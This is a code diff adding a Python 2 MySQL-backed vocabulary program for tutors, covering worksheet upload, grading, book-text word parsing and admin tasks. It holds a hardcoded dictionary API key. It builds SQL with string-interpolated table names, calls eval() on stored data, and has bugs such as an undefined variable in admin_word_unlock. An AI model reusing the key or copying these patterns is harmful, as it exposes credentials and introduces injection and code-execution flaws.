+                v_files.append(f)
+
+        if len(v_files)==0:
+            print "No acceptable files."
+            return False
+            
+        while True:
+            csv_name = raw_input('Enter the number of the file you wish to upload or * to quit. ')
+            if csv_name == '*':
+                return False
+            if int(csv_name) in range(1,len(v_files)+1):
+                csv_name = v_files[int(csv_name)-1]
+                break
+    else: # if we are in the one-shot system, then we've been passed the name of the file we want and..
+        csv_name = passive_sheet_name
+
+    reader = csv.reader(open(csv_name, "rb")) # we just open the file
+    return reader # and return it
+
+# this functions turns the passive sheet into data that we can clean and parse
+def parse_passive_file(reader):
+    data = []
+    not_data = []
+
+    first = True # this just means we're in the first row of the file
+    for row in reader:
+        if first: # if it is the first row
+            not_data.append(row) # it's not data
+            first = False # then we're no longer in the first row
+        else:
+            data.append(row) # so we start appending the data
+
+    return data # and return the data
+
+# this function takes the data from the passive sheet, cleans it up, checks it for errors and returns it
+def clean_passive_file(data):
+    clean_data = [] # where we'll store the cleaned up data
+    error = False # something to keep track of if there's an error (we don't want to quit as soon as there's an error, because we want the user to see all the errors before quitting)
+
+    for row in data: # go through each row
+        for item in row: # in each row go through each column
+            if len(item)!= 0: # if it's not a blank space
+                if item[0] == ' ' or item[-1] == ' ': # make sure there's no extra whitespace
+                    print "White space error: " + row[0]
+                    error = True
+                    continue
+        if len(row[1])!=0: # if the row where you choose words isn't empty..
+            if row[1] != 'x': # it should be an 'x'. if it isn't, you have an error
+                print "Choosing mark error: " + row[0]
+                error = True
+                continue
+            else: # if it is an 'x', which means the words has been chosen, then we do a few more things
+                try:
+                    date = row[4] # we check the date to make sure it's a proper date
+                    dm_date = date[:-5]
+                    _date = datetime.date(int(date[-4:]), int(dm_date[:dm_date.index('/')]), int(dm_date[dm_date.index('/')+1:]))
+                except (ValueError, IndexError):
+                    try: # we try taking in the date in two formats - this is because when passive sheets are manually filled out, the date is saved in a different format from when the program creates a pre-filled out passive sheet in the one-step system
+                        date = row[4]
+                        date = date.replace('-','')
+                        _date = datetime.date(int(date[:4]),int(date[4:-2]),int(date[-2:]))
+                    except (ValueError, IndexError): # if neither works, then you've got an error
+                        print "Date problem: " + row[0]
+                        print row[4]
+                        error = True
+                        continue
+                clean_data.append([lower(row[0]), row[3],_date]) # if we've made it this far, add the marked word and the cleaned data to the list
+
+    if error: # either send back an error or the data
+        return False 
+    else:
+        return clean_data
+
+# this gets a new number for the passive assignment (see similar function in active assignment above for mechanism)
+def get_ptest_number(dbase):
+    key = '-----ptestcounter-----'
+    tests = do_command("SELECT data FROM %s WHERE word = \'%s\'" % (dbase, key)) # get the current counter
+    if len(tests)==0:
+        print "Something wrong with test numbers."
+        return 'P0'
+
+    tests = eval(tests[0][0]) # figure out the latest number
+    test_number = str(int(tests[-1]) + 1) # add one to get your new number
+    tests.append(test_number) # add that number to the list
+
+    # update the databse with the new number
+    do_command("""UPDATE %s SET data = \"%s\" WHERE word = \"%s\"""" % (dbase,MySQLdb.escape_string(str(tests)),MySQLdb.escape_string(key)))
+    return 'P'+test_number
+
+# this is the batch one command updates that should be familiar aleady, in this case for an uploaded passive sheet
+def batch_passive_sheet_update(to_add_main_words, to_add_active_words, to_delete_p_words, main_name, student_name, passive_name):
+    # first, add the words that are going into the passive assignment to the active list
+    if len(to_add_active_words) !=0:
+        add_active_command = "INSERT INTO %s (word, data, lockvar) VALUES " % student_name
+        for word, date, source in to_add_active_words:
+            add_active_command += """(\"%s\", \"%s\", 'False'), """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str([[],[],[100.0],[],[date, date.today(), source]])))
+        add_active_command = add_active_command[:-2] + ';'
+        
+        do_command(add_active_command)
+
+    # then add any words that aren't in vocabmain to vocabmain
+    if len(to_add_main_words) !=0:
+        add_main_command = "INSERT INTO %s (word, data, lockvar) VALUES " % main_name
+        for word, date, source in to_add_main_words:
+            add_main_command += """(\"%s\", \"%s\", 'False'), """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str({})))
+        add_main_command = add_main_command[:-2] + ';'
+        
+        do_command(add_main_command)
+
+    # then, delete the passive words that are going into the passive assignment from the passive list
+    if len(to_delete_p_words) !=0:
+        delete_p_command = "DELETE FROM %s WHERE " % passive_name
+        for word, date, source in to_delete_p_words:
+            delete_p_command += """word = \"%s\" OR """ % MySQLdb.escape_string(word)
+        delete_p_command = delete_p_command[:-3] + ';'
+        
+        do_command(delete_p_command)
+
+    return
+
+# turns a string date into date variable
+def turn_into_date(str_date): 
+    var_date = date(int(str_date[:4]),int(str_date[4:6]),int(str_date[6:])) # oof, this should be error-checked
+    return var_date
+
+# this is the function that handles the intake of a passive sheet on the higher level, going through all the steps
+# note the variables with default values. these three are passed values in the one_step system, so that we can
+# circumvent some user inputs during this step, notably because in the one-step system the passive sheet is pre-prepared,
+# so we know exactly which sheet we already want to upload (passive_sheet_name).
+def intake_passive_sheet(student_name, main_name, passive_sheet_name = False, _assign_date = False, _teach_id = False):
+    passive_name = student_name+"passive" # the name of the passive db
+
+    # get the passive sheet
+    reader = upload_passive_file(student_name, passive_sheet_name)
+    if reader == False:
+        return
+
+    # turn the passive sheet into data
+    data = parse_passive_file(reader)
+
+    # clean up the data
+    data = clean_passive_file(data)
+
+    # quit if there's been an error
+    if data == False:
+        print "Error..."
+        return
+
+    # if we're not in the one shot system, ask for some details about this assignment. otherwise, just take them from the variables we were passed
+    if not _assign_date or not _teach_id:
+        assign_date, teach_id = ask_passive_details()
+    else:
+        assign_date = turn_into_date(_assign_date)
+        teach_id = _teach_id
+
+    # get the assignment number for this assignment
+    test_number = get_ptest_number(passive_name)
+
+    # where we'll store the data for when we make the actual assignment
+    words_sources = []
+
+    # get all the words from the three databases: vocabmain, the student's active and the student's passive
+    main_words = get_words_list(main_name)
+    active_words = get_words_list(student_name)
+    passive_words = get_words_list(passive_name)
+
+    to_add_main_words = [] # new words that need to be added to the main
+    to_add_active_words = [] # new words that need to be added to the active
+    to_delete_passive_words = [] # words that need to be added to the passive
+
+    # go through each word in the data
+    for word, source, date in data: ### NOTE: should be word, date, source (for consistency), but not fixing now
+        if word not in passive_words: # if the word isn't actually a passive word, problem
+            print "Not actually a passive word (epic fail): " + word
+        elif word in active_words: # if it's already an active word, skip it
+            print "Already active word: " + word
+        else: # otherwise..
+            to_add_active_words.append((word,date,source)) # .. we'll be adding it to the active sheet
+            to_delete_passive_words.append((word,date,source)) ## .. deleting it from the passive
+            if word not in main_words:
+                to_add_main_words.append((word,date,source)) ##.. and adding it to the main list if it isn't there yet (under the current system that should never happen since we're picking from a closed set of words, all of which are already in the vocabmain file)
+            words_sources.append([word,source]) # .. adding it to the list that we use for the test.
+
+    # create the actual assignment
+    generate_passive_assignement(words_sources, student_name, test_number, assign_date, teach_id)
+
+    # update all three databases
+    batch_passive_sheet_update(to_add_main_words, to_add_active_words, to_delete_passive_words, main_name, student_name, passive_name)
+    
+    print "Passive assignment generated."
+
+    return  
+
+###################################################################################
+### UPLOAD GRADING SHEET COMMANDS
+# upload_grading_sheet(student_name)
+# upload_grader_data(reader)
+# question_exists(word, question, key, main_name)
+# add_graded_result(word, grade, key, date, dbase)
+# intake_grading_sheet(student_name, main_name)
+###################################################################################
+
+# this function follows the standard mode for getting the user to choose a file, in this case the grader file they want.
+def upload_grading_sheet(student_name):
+    dir_pre = get_student_dir(student_name) # gets the student directory
+    try:
+        files = os.listdir(dir_pre) # looks there for files
+    except WindowsError: # if they can't find the directory
+        dir_pre = '' # we'll be looking in the same folder as the vocab program
+        files = os.listdir(os.getcwd())
+    
+    counter = 1
+    v_files = []
+    for f in files:
+        if f[:6] =='grader' and lower(student_name) in lower(f) and f[-4:] == ".csv": # find all the files that are graders and for the current student
+            print str(counter) + ". " + f
+            counter += 1
+            v_files.append(f)
+    
+    if len(v_files)==0:
+        print "No acceptable files."
+        return False, False
+    
+    while True: # ask for the file the user wants
+        csv_name = raw_input('Enter the number of the file you wish to upload or * to quit. ')
+        if csv_name == '*':
+            return False, False
+        elif not csv_name.isdigit(): # make sure it's a number
+            continue
+        elif int(csv_name) in range(1,len(v_files)+1):
+            csv_name = v_files[int(csv_name)-1]
+            break
+        else:
+            continue
+
+
+    csv_name = dir_pre+csv_name # add the directory prefix to the file name
+    reader = csv.reader(open(csv_name, "rb")) # open the file
+    return reader, csv_name
+
+# this function turns the csv.reader object into a list that has all the in the file and returns it
+def upload_grader_data(reader):
+    data = []
+    for row in reader:
+        data.append([row[0],row[1],row[2],row[3],row[4]])
+    return data 
+
+# this function checks that there's a match between the key and question in the grader sheet and
+# what should be the same key and question in the mainvocab file. this is to make sure that the grader file itself
+# hasn't been tampered with (although this isn't super important) and that (more importantly) the mainvocab database hasn't
+# been changed in some way.
+def question_exists(word, question, key, main_dict):
+    if not main_dict.has_key(word): # first we check that mainvocab has word at all
+        print "Not in main: " + word
+        answers = {}
+    else:
+        answers = main_dict[word]
+    
+    if answers.has_key(key): # then we check if the mainvocab entry for that word has the key
+        if answers[key] == question: # and if the question associated with the key matches the question we're uploading
+            return True
+        
+    print "Corrupt question: " + word
+    return False
+
+# this function takes the grading information and creates an updated entry for that word in the student database 
+def parse_graded_result(word, grade, key, date, ddict, dbase):
+    if not ddict.has_key(word): # first, just make sure the student database has the word in question
+        print "Not in student db: " + word
+        return False, False, False
+    data = ddict[word] # get the student database data for that word
+    try:
+        data[0].remove('^^^out^^^') # try to remove the marker that states the word is outstanding (not that this operation is order independent - if the word is out in multiple tests, it doesn't matter which one is removed)
+    except ValueError:
+        print "^^^out^^^ error: " + word # while we transitioned to the out system, this happened, but it shouldn't anymore unless someone duplicates a grader sheet by accident. still, just in case, i'm not marking this as an error that stops the grading process
+    data[0].append(key) # this adds the question key to the list of questions that the student has done already
+    if lower(grade) == 'x': # if the student got it wrong
+        data[1].append('0') # add a zero to the right/wrong list
+        one_wrong = True # (then we have at least one wrong in this grader sheet)
+    elif grade == '': # otherwise
+        data[1].append('1') # add a 1
+        one_wrong = False
+    elif grade == 's': # OTHERWISE
+        one_wrong = True  # it's a skipped question - neither right nor wrong, we just get rid of the ^^^out^^^
+    else: # OTHER OTHERWISE
+        print "Invalid grade marker ("+grade+"): " + word # you done fucked up
+        return False, False, False
+
+    # here we re-calucate the "weight" variable, which is just a score for how important it is to test that word again
+    # it's fairly straightforward. if a word has never been tested, it's 100. if it has been tested, but the student
+    # has never gotten it right, it is higher than 100, the more times wrong the higher. if the student has gotten it
+    # right at least once, it's under 100, and the weight just becomes a ratio of wrong to right. in the testsheet
+    # words are sorted according to this weight.
+    corrects = 0
+    for result in data[1]:
+        corrects += int(result)
+    incorrects = len(data[1]) - corrects
+    weight = 0.0
+    try:
+        weight = float(incorrects) / float(corrects)
+    except ZeroDivisionError:
+        weight = 100.0 + float(incorrects * 10) 
+    data[2] = [weight]
+
+    # hmm, here we add the date of the test, though it seems like we do this even if a question is "skipped". that shouldn't happen, even if it won't lead to any major errors.
+    try:
+        dm_date = date[:-5]
+        _date = datetime.date(int(date[-4:]), int(dm_date[:dm_date.index('/')]), int(dm_date[dm_date.index('/')+1:]))
+        if grade != 's': # well, this should fix it, though i'll keep the note above in case you have a problem with excess dates later on that you can't explain
+            data[3].append(_date)
+    except (ValueError, IndexError): # note the explanation below; i forget why but after you save it the way the date is stored actually changes. should be fixed.
+        print "Date problem: " + word + ". If you get this for every question, open the grader file, don't change anything, but save it, then close it, then try again. Sowweeee."
+        return False, False, False
+    
+    return word, data, one_wrong
+
+# this just makes a long MySQL command that updates all the words in the grader file with the new data in one go (this should be a famliar mechanism)
+def batch_grader_update(to_replace_words, student_name):
+    if len(to_replace_words) !=0:
+        replace_command = "UPDATE %s SET data = CASE " % student_name
+        for word, data in to_replace_words:
+            replace_command += """WHEN word = \"%s\" THEN \"%s\" """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str(data)))
+        replace_command += "ELSE data END;"
+        
+        do_command(replace_command)
+
+# this is the main function for taking in the grading sheet. it goes through each step, from finding the file, to uploading it,
+# to changing the data, to sending the changes back to the mysql db
+def intake_grading_sheet(student_name, main_name):
+
+    # just a reminder to close the file so we can delete it
+    pause = raw_input("Close the grader file and hit enter.")
+    
+    reader, csv_name = upload_grading_sheet(student_name) # get the file
+    if reader == False:
+        return False
+
+    data = upload_grader_data(reader) # get the data from the file
+
+    main_dict = turn_dbase_into_dict(main_name) # get the mainvocab
+    student_dict = turn_dbase_into_dict(student_name) # get the student active db
+    
+    error = False
+    for word, grade, question, key, date in data: # go through the data once to see if there are any errors
+        if len(word) == 0: # check if a word has been removed
+            continue
+        if question!="___" and key!="d": # and, if the test is an M or S test
+            if not question_exists(word, question, key, main_dict): # make sure the questions that were in the test are the same as the ones in mainvocab
+                print "Question mismatch error: " + word
+                error = True
+
+    if error: # if any errors were found, don't upload
+        print "Mismatches found. Grades not uploaded."
+        return False
+
+    one_wrong = False # this variable checks whether there is at least one mistake - this is to prevent cases where the teacher actually forgot to enter grades before uploading
+
+    to_replace_words = [] # this is the list that will be used to update the mysql database
+    for word, grade, question, key, date in data: # go through each word in the test
+        if len(word)!=0:
+            _word, _data, _one_wrong = parse_graded_result(word, grade, key, date, student_dict, student_name) # this changes the student active database to reflect the new grade
+            if not _word: # this checks if there's an error
+                error = True
+            if _one_wrong: # this tracks if there is at least one mistake
+                one_wrong = True
+            to_replace_words.append((_word,_data)) # add the word and the new student data for the word to a list
+
+    if error:
+        print "Errors found. Grades not uploaded."
+        return False
+
+    # if there aren't any mistakes, we just double check that that is what the teacher intended
+    if not one_wrong:
+        double_check = lower(raw_input("Looks like no questions were wrong, is that correct? (y to confirm, anything else to quit): "))
+        if double_check != 'y':
+            return False
+
+    #update the mysql database
+    batch_grader_update(to_replace_words, student_name)
+
+    # log it
+    add_to_log(student_name, csv_name)
+    
+    print "Upload sucessful."
+    return csv_name
+
+# this basically does the same thing as the above function, but it's for if you want to un-assign the test, rather than
+# grade it. it just removes all the ^^^out^^^ markers associated with the word
+def intake_null_grading_sheet(student_name, main_name):
+    reader, csv_name = upload_grading_sheet(student_name)
+    if reader == False:
+        return False
+
+    to_unmark = []
+
+    for row in reader: # we'll unmark every word
+        to_unmark.append(row[0])
+
+    student_dict = turn_dbase_into_dict(student_name)
+
+    unmark_data = []
+
+    for word in student_dict: # go through each word in the student active db
+        if word in to_unmark: # if it's slated for unmarking
+            w_data = student_dict[word]
+            try:
+                w_data[0].remove('^^^out^^^') # take out the marker
+            except ValueError:
+                print "^^^out^^^ error: " + word
+            unmark_data.append([word, w_data]) # save the new data in a list
+
+    batch_grader_update(unmark_data, student_name) # upload the new data to mysql
+
+    return csv_name
+
+###################################################################################
+### ONE-SHOT SHORTCUTS
+#
+# print_summary_stats(stats)
+# book parser
+# text_active_one_shot(student_name, main_name)
+#
+###################################################################################
+
+# this function prints summary statistics for a selection of text after it's been parsed
+def print_summary_stats(stats, n_words):
+    _sum = 0 # this will count the total number of new words
+    print 'All words by level:'
+    for level in range(7):
+        print 'Level '+ str(level) + ': ' + str(stats[level]) # print each level and the number of words corresponding to it
+        _sum += stats[level] # add the words to the word total
+    print ''
+
+    # provide # of new words + estimate of passive assignment length
+    print "Total new words: " + str(_sum-len(n_words)) + " (~" + str((_sum-len(n_words))/20) + " pages with definitions)"
+    
+    cont = raw_input('Hit enter to continue, * to quit with no changes. ') # ask if the person wants to continue or quit
+    if cont == '*':
+        return False
+    else:
+        return True
+
+# this big function handles all the steps of taking in a piece of text, parsing it for words, seperating them according
+# to difficulty, and returning the relevant words in a way that the passive sheet functions can read
+def book_parser():
+    while True:
+        # gets the name of the text file
+        book_name = raw_input("Enter text file name for text they will be assigned (without .txt extension; * to quit): ")
+        if book_name == '*':
+            return False, False, False, False
+
+        book_name = './textfiles/' + book_name + '.txt' # appends the directory where we'll find it, plus extension
+        try:
+            l = open(book_name) # opens the file
+            break
+        except IOError: # if we can't open it, the name is wrong
+            print "File not found, make sure you put the file in the 'textfiles' subfolder."
+            
+    while True: # get the date when that text will be assigned
+        assign_date = raw_input("Please enter the assign date for the text. (Enter for today) (yyyymmdd) ")
+        if assign_date == "": # if the user hits enter, it's just today's date
+            assign_date = date.today() # get date
+            assign_date = str(assign_date) # stringify
+            assign_date = assign_date.replace('-','') # change the dashes to nothing
+            break
+        if assign_date == "*": # if quit, then quit
+            return False, False, False, False
+        try: # otherwise, try to turn what they entered into a date
+            assign_date = date(int(assign_date[:4]),int(assign_date[4:6]),int(assign_date[6:]))
+            assign_date = str(assign_date) # and stringify
+            assign_date = assign_date.replace('-','') # and get rid of dashes
+            break
+        except ValueError: # if it's not a number, it's a mistake
+            pass
+        
+    # asks if the input file is chaptered with ^^^^^ marks (see SUMMARY if you're not sure what this is)
+    chaptered = lower(raw_input("Is your input file chaptered with ^^^^^ marks (y/n, * to quit)? "))
+    if chaptered == 'y':
+        chaptered = True # if it is, we have a variable for that
+    elif chaptered == '*':
+        return False, False, False, False
+    else:
+        chaptered = False # if it's not, we mark it as such
+        add_words = True # this variable says that we're going to start adding words immediately once we start parsing (ie we're not skipping any chapters at the start of the textfile)
+        add_all = True # this variable says adding all of the words in the text file (ie we're not skipping any chapters at all)
+
+    if chaptered:
+        ch_counter = 0
+        first_ch = raw_input("Enter assignment start chapter (enter for all chapters): ") # if it's chaptered, enter the start chapter for the passive assignment
+        if first_ch == '': # if we're doing all chapters...
+            add_words = True # .. it's the same as if there were no chapters
+            add_all = True
+        else:
+            add_words = False # otherwise, we're assuming we may skip chapters
+            add_all = False
+            try:
+                first_ch = int(first_ch) # we turn the given chapter into a number
+            except ValueError: # unless we can't, then we quit
+                print "Not a number."
+                return False, False, False, False
+
+            # now we ask for when the 
+            end_ch = raw_input("Enter assignment end chapter (enter for same as start chapter, 'l' for last chapter): ")
+            if end_ch == '': # if it's a one chapter assignment
+                add_words_chapters = [first_ch] # then it's just the one chapter
+            elif end_ch == 'l': # if we're going to the end of the book...
+                add_words_chapters = range(first_ch, 10000) # OMG BIGGEST HACK EVER - better would be to check the number of chapters but WEEEEEE
+            else: # otherwise, we'll check if the entered chapter is a number..
+                try:
+                    end_ch = int(end_ch)
+                except ValueError:
+                    print "Not a number."
+                    return False, False, False, False
+                add_words_chapters = range(first_ch, end_ch+1) # .. and these are the chapters of the assignment
+
+    # here we ask for the name of the book
+    source = raw_input("Enter title of book (for \'source\' field): ")
+    if chaptered: # since we want the chapter to be part of the source name, we'll change the source name with the chapter as we go along. here we add the first chapter in our assignment range
+        _first_ch = " Ch" + (2-len(str(ch_counter)))*'0' + str(ch_counter) # note that this doesn't work if more than 100 chapters
+        source = source + _first_ch
+    
+    try: # here we need the minimum word level (this is inclusive, ie 2 will include level 2 words)
+        level = int(raw_input("Enter the minimum word level for this book (0-6, * to quit): "))
+    except ValueError: # if it's not a number then aaaaaaaaaaahhhhhhhhhhhh actually this should limit to 0-6
+        print "Not a number."
+        return False, False, False, False
+
+    words_by_level = get_words_by_level() # this retrieves a list of words with their level assignment
+
+
+    # this section is for getting all the words from the text file and seperating them as entries in a list. because the
+    # file is just a collection of characters, we have to read the file letter by letter and figure out what's a word
+    # and what isn't.
+    
+    words = [] # this will hold the words
+    counter = 1 # this is used in another section for counting words
+    for n in l: # for each section? in the file (i'm not actually what the "n" here is; it's not letter, maybe .txt files are seperated by breaks?)
+        word = '' # this is for holding the current word as it's built
+        first_word = '' # the next three will be used for when words have a hyphen in them (because it's ambiguous if it's two words hyphenated together or one word that's been broken up between lines)
+        second_word = ''
+        second_count = False
+        for letter in n: # for each character in whatever the n section is..
+            if letter == '-': # if the character is a hyphen
+                first_word = word # we hold the word we've been building in this place-holder
+                second_count = True # and we indicate that we're starting counting the second word (or the second half of the first word)
+            elif letter.isalpha() or letter == '^': # otherwise, if the character is a letter or the chapter header "^"
+                word = word + letter # add it to the word
+                if second_count: # if we're counting the second word post-hyphen
+                    second_word = second_word + letter # add the letter to the second word as well
+            else: # otherwise, we've reached a space or a punctuation mark or something else that should mark the end of a word
+                if second_count: # if we've been building a hyphenated word, then we actually have 3 variables, first_word (which has the part before the hyphen), second_word (which has the part after the hyphen), and word (which has the word together, but with the hyphen removed)
+                    if words_by_level.has_key(lower(word)): # which of the three do we add? well, we check if our database has the whole word in it as a word. if it does, add that one.
+                        words.append(lower(word))
+                    else:                                   # if the big word isn't in the databse, we'll add both of the smaller words
+                        if first_word != '':                # (assuming they aren't nothing)
+                            words.append(lower(first_word))
+                        if second_word != '':
+                            words.append(lower(second_word))
+                    second_count = False # then reset all the variables to their original state
+                    first_word = ''
+                    second_word = ''
+                    word = ''
+                elif word != '': # if we're not building a hyphenated word
+                    words.append(lower(word)) # just add it
+                    word = '' # and reset the variable
+
+    l_name = book_name[:-4] + '_level_' + str(level) + '.csv' # a file that's going to have all the words for that level (the later passive sheet functions will read this file)
+    l_writer = csv.writer(open(l_name, 'wb'), dialect = 'excel')
+
+    already_added = [] # the words we've added to the file
+    stats = {0:0,1:0,2:0,3:0,4:0,5:0,6:0} # the stats for how many words we have at each level
+    for word in words: # go through each of the words in the text file (remember these are still in the order they appeared in the text)
+        
+        if chaptered and word == '^^^^^': # if the file is chaptered and we hit a chapter marker among the words
+            ch_counter += 1 # we increment the chapter counter
+            _first_ch = " Ch" + (2-len(str(ch_counter)))*'0' + str(ch_counter) # we make the current chapter into a text string
+            source = source[:-5] + _first_ch # and update the source
+            if not add_all: # finally, if we're not just adding everything (in which case add_words is always true)
+                if ch_counter in add_words_chapters: # if the current chapter is within the range we want
+                    add_words = True # then add words
+                else:
+                    add_words = False # otherwise don't
+
+        if add_words: # if we're in the right chapters
+            if words_by_level.has_key(word): # check the word to see if we have it in our database
+                if words_by_level[word][1] >= level: # and then if the word is of an equal or greater level than our minimum level
+                    if words_by_level[word][0] not in already_added: # and if it's not already added
+                        _counter = str(counter) # first we're going to add a number to the word's source (this will help us keep the words sorted later)
+                        _counter = '^'+(5 - len(_counter))*'0'+_counter # this is how the counter will appear: ^00005
+                        _source = source + _counter # add the counter to the source
+                        _row = [words_by_level[word][0], assign_date, _source] # makes the row for the document we'll upload to the passive sheet
+                        already_added.append(words_by_level[word][0]) # add that word to our already added words list
+                        l_writer.writerow(_row) # write the row to the .csv
+                        counter += 1 # increment the counter
+                        stats[words_by_level[word][1]] = stats[words_by_level[word][1]] + 1 # increment the stats counter in the appropriate level
+
+    return l_name, assign_date, already_added, stats # send back the relevant data
+
+
+# this function handles all of the passive to active sheet creation in one go. as I mentioned before, and as I explain more
+# in-depth at the end of the SUMMARY file, this function takes three steps that we used to do in the old system and
+# does them in a row. upload_to_sdb_passive, generate_passive_sheet and intake_passive_sheet used to be three seperate
+# functions, but we eventually merged it all into one, and added book_parser. this is not efficient at all, and it wouldn't
+# be too hard to make it one straightforward function, and do away with the passive databases altogether. this was just
+# an easy fix given the contraints we had at the time.
+def text_active_one_shot(student_name, main_name):
+    teach_id = raw_input("Please enter your initials. ")
+
+    # parse the text file, make a passive upload sheet    
+    parsed_name, assign_date, temp_word_list, stats = book_parser() # these variables are: the name of the file with the words slated for passive, the assignment date, a list of the words in the first variable in a different format, and the stats
+    if not parsed_name:
+        return False
+
+    # upload the passive words to the passive word list
+    passive_upload_name = upload_to_sdb_passive(student_name, main_name, parsed_name, stats)
+    if not passive_upload_name: 
+        return False
+    else: # we delete the passive_upload file at this point if we can
+        try:
+            os.remove(passive_upload_name)
+        except WindowsError:
+            print "Couldn't delete word uploading file." 
+
+    # create a passive assignment sheet, with the temp_word_list marking which words to pre-mark for assignment
+    passive_sheet_name = generate_passive_sheet(student_name, main_name, temp_word_list)
+
+    # take in that passive sheet, with the pre-marked words, making a passive assignment from them and moving the words into the active list
+    intake_passive_sheet(student_name, main_name, passive_sheet_name, assign_date, teach_id)
+
+    return passive_sheet_name
+
+#############################################################################################################
+### ERROR CORRECTION
+#
+# delete_active_words(student_name)
+#
+#############################################################################################################
+
+# this function deletes words from a student's active list
+def delete_active_words(student_name):
+    # gets the file with the words that will be deleted (just a list in the first column)
+    file_name = raw_input("Enter filename of to-remove wordlist (without .csv): ")
+
+    # opens the file
+    reader = csv.reader(open(file_name, "rb"))
+    to_delete = []
+
+    # goes row by row and gets the word in the first column, appends it to a list
+    for row in reader:
+        to_delete.append(row[0])
+
+    # makes a single MySQL function that deletes all the words in one go
+    if len(to_delete) !=0:
+        delete_command = "DELETE FROM %s WHERE " % student_name
+        for word in to_delete:
+            delete_command += """word = \"%s\" OR """ % MySQLdb.escape_string(word)
+        delete_command = delete_command[:-3] + ';'
+
+        # does the command
+        do_test_command(delete_command)
+
+    return
+
+###################################################################################
+### ADMIN TASKS
+# indep_add_words_to_main(main_name)
+# admin_tasks()
+# admin_word_unlock(main_name)
+###################################################################################
+
+# this function lets you independently add words to the vocabmain database (you'll never use this)
+def indep_add_words_to_main(main_name):
+    while True:
+        word = lower(raw_input("Enter word (* to quit): ")) # asks for words one by one
+        if word == '*':
+            return
+        elif check_if_word_exists_in_db(word, main_name): # checks if word exists already
+            print "This word is already in there."
+        else: # adds it
+            data = {}
+            do_command("""INSERT INTO %s (word, data, lockvar) VALUES (\"%s\", \"%s\", 'False')""" % (main_name,MySQLdb.escape_string(word),MySQLdb.escape_string(str(data))))
+
+# unlocks the main dbase
+def admin_main_unlock(main_name):
+    unlock_dbase(main_name)
+    return
+
+# unlocks a single word (we don't use this right now and probably won't, so I won't bother commmenting it)
+def admin_word_unlock(main_name):
+    while True:
+        row = do_command("SELECT word FROM %s WHERE lockvar = 'True'" % main_name)
+        print "Locked words:"
+        counter = 1
+        locked_word = []
+        
+        if len(row) == 0:
+            print "No more locked words."
+            return
+        
+        for word in row:
+            print str(counter) + '. ' + str(word[0])
+            counter += 1
+            locked_word.append(str(word[0]))
+            
+        while True:
+            word = raw_input('Enter the number of the word you wish to unlock or * to quit. ')
+            if word == '*':
+                return
+            if int(w) in range(1,len(locked_word)+1):
+                word = locked_word[int(word)-1]
+                break
+
+        unlock_word(main_name, word)
+
+# this also won't be used. it lets us change the spelling of a word across databases (ie if you spelled 'song' with an m, you
+# can use this to change all 'somg's to 'song's). This is non-trivial, and this is an imperfectly made function (a better one
+#, but since now we only add words that are in the MASTER LIST file, we should never have this problem.
+def admin_change_word_spelling():
+    while True:
+        tables = do_command("SHOW TABLES")
+
+        old_word = raw_input("Old spelling (or * to quit): ")
+        if old_word == '*':
+            break
+        new_word = raw_input("New spelling (or * to quit): ")
+        if new_word == '*':
+            break
+
+        aff_tables = []
+
+        for table in tables:
+            table = table[0]
+            if check_if_word_exists_in_db(new_word, table):
+                print "This dbase has the new spelling already: " + table
+            if check_if_word_exists_in_db(old_word, table):
+                aff_tables.append(table)
+                print "This dbase has the old spelling: " + table
+
+        cont = raw_input("Continue (Y/N)? ")
+
+        if lower(cont)=='y':
+            for table in aff_tables:
+                if check_if_word_exists_in_db(old_word, table):
+                    print "Updating in " + table
+                    replace_command = """UPDATE %s SET word = \"%s\" WHERE word = \"%s\"""" % (MySQLdb.escape_string(table), MySQLdb.escape_string(new_word), MySQLdb.escape_string(old_word))
+                    do_command(replace_command)
+
+    return
+
+# this creates copies for all the tables in the database, placing them to sophos_vocab2
+def admin_backup_all():
+    tables = do_command("SHOW TABLES") # get all the tables
+
+    for table in tables: # for each table
+        table = table[0] # get the name
+        now = datetime.datetime.now() # get the date
+        date = str(now.year)+str(now.month)+str(now.day) # stringify the date
+        backup_table = "sophos_vocab2.backup_" + date + "_" + table # make the name of the backup (we're assuming we're in 'sophos_vocab', hence specifying the db name)
+        drop_command = "DROP TABLE IF EXISTS %s" % backup_table # delete the table if it already exists
+        create_command = "CREATE TABLE %s LIKE %s" % (backup_table, table) # make the backup table
+        fill_command = "INSERT %s SELECT * FROM %s" % (backup_table, table) # fill up the backup table
+        do_command(drop_command) # do the commands
+        do_command(create_command)
+        do_command(fill_command)
+        print "Backed up " + backup_table # tell the user it's been made
+
+    return
+
+# this function let's you fill up the dictionary table in the MySQL database for words that don't have definitions stored
+# yet. here's the deal: whenever we get the definition of a word, we save it in our database for fast recall later. we're
+# limited to 1000 lookups per day, so we can't just get them all at once. with some persistence though, we can get them
+# before we need them. that's what this function does - it goes through our tables to find words that we haven't stored
+# the definitions for (in no particular order) and looks up the definition. the function is essentially like our standard
+# dictionary look-up function, so I won't repeat those parts
+def admin_fillup_dict():
+    dictionary_name = 'dictionary'
+    api_key = "7b44ly3m8yootpmdgni4s7aprwns4l0bw5fi3j4bit"
+    
+    limit = 700 # max number of look-up calls to make (700 not 1000 in case you need to make a passive sheet that day)
+    success = 0 # how many we looked up successfully
+    failure = 0 # how many we couldn't find the definition for
+
+    tables = do_command("SHOW TABLES") # get all the tables in db
+    for table in tables: # for each table
+        table = table[0] # get the table name
+        if table == dictionary_name: # skip the dictionary table
+            continue
+        words = get_words_list(table) # get words list from the table
+        dwords = get_words_list(dictionary_name) # get words list from the dictionary
+
+        for word in words: # for each word
+            if limit == 0: # if we reach our limit, get out of there
+                break
+            else:
+                if word in dwords: # if the word is defined, skip it
+                    continue
+                else: # otherwise, look it up
+                    print "Finding definition for: " + word
+                    url = "http://api-pub.dictionary.com/v001?vid="+api_key+"&q="+word+"&type=define"
+                    data = []
+                    try:
+                        limit = limit - 1
+                        parsed = parse(urlopen(url))
+                        entry_list = parsed.getElementsByTagName('entry')
+                        for entry in entry_list:
+                            disp_f = entry.getElementsByTagName('display_form')
+                            _disp_word = str(disp_f[0].childNodes[0].nodeValue)         # this look up is standard
+                            disp_word = _disp_word.replace('&middot;','')
+                            pos_list = entry.getElementsByTagName('partofspeech')
+                            for pos in pos_list:
+                                _pos = str(pos.getAttribute('pos'))
+                                defi_list = pos.getElementsByTagName('def')
+                                _defi = ''
+                                for defi in defi_list:
+                                    try:
+                                        defi_str = str(defi.childNodes[0].nodeValue)
+                                    except UnicodeEncodeError:
